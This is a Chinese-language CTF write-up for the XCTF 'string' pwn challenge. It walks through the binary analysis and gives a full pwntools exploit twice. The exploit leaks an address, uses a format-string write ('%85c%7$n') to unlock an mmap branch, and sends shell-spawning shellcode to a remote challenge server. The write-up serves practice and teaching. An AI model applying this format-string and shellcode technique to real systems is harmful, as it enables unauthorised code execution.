[攻防世界 pwn]——string
- 题目地址:https://adworld.xctf.org.cn/
- 题目:
peak小知识
mmap函数作用,mmap主要是将文件映射到一段内存去同时设置那段内存的属性可读可写或者是可执行详情请看
mmap & mprotect
在checksec看到开启了canary和NX,应该和格式化字符串有关。
在IDA中看看,发现侧边栏竟然有mmap函数,这个地方应该是关键点,
找到函数位置,想要保证该函数执行,必须保证前两个函数执行完毕,并且a1 == a1[1], 跟前面找会发现a1其实就最开始的v3,而v3 = 68, v3[1] = 85。我们只要修改一个就好。
在下面我们发现了有格式化字符串的漏洞可以利用修改
下面就开始逐步书写exploit
- 接受v3地址
from pwn import *
p = remote('111.200.241.244',57138)
p.recvuntil("secret[0] is ")
v3_0_addr = int(p.recvuntil("\n")[:-1], 16)
log.info("v3_0_addr:" + hex(v3_0_addr))
- 进入sub_4000D72()
p.recvuntil("character's name be:")
p.sendline("peak")
- 进入sub_400A7D()并退出
p.recvuntil("east or up?:")
p.sendline("east")
- 进入sub_400BB9()修改*v3并退出
p.recvuntil("there(1), or leave(0)?:")
p.sendline("1")
p.recvuntil("'Give me an address'")
p.sendline(str(v3_0_addr))
p.recvuntil("you wish is:")
p.sendline("%85c%7$n")
- 进入sub_400CA6()输入shellcode 并执行
context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh())
p.recvuntil("USE YOU SPELL")
p.sendline(shellcode)
p.interactive()
exploit
from pwn import *
p = remote('111.200.241.244',57138)
p.recvuntil("secret[0] is ")
v3_0_addr = int(p.recvuntil("\n")[:-1], 16)
log.info("v3_0_addr:" + hex(v3_0_addr))
p.recvuntil("character's name be:")
p.sendline("peak")
p.recvuntil("east or up?:")
p.sendline("east")
p.recvuntil("there(1), or leave(0)?:")
p.sendline("1")
p.recvuntil("'Give me an address'")
p.sendline(str(v3_0_addr))
p.recvuntil("you wish is:")
p.sendline("%85c%7$n")
context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh())
p.recvuntil("USE YOU SPELL")
p.sendline(shellcode)
p.interactive()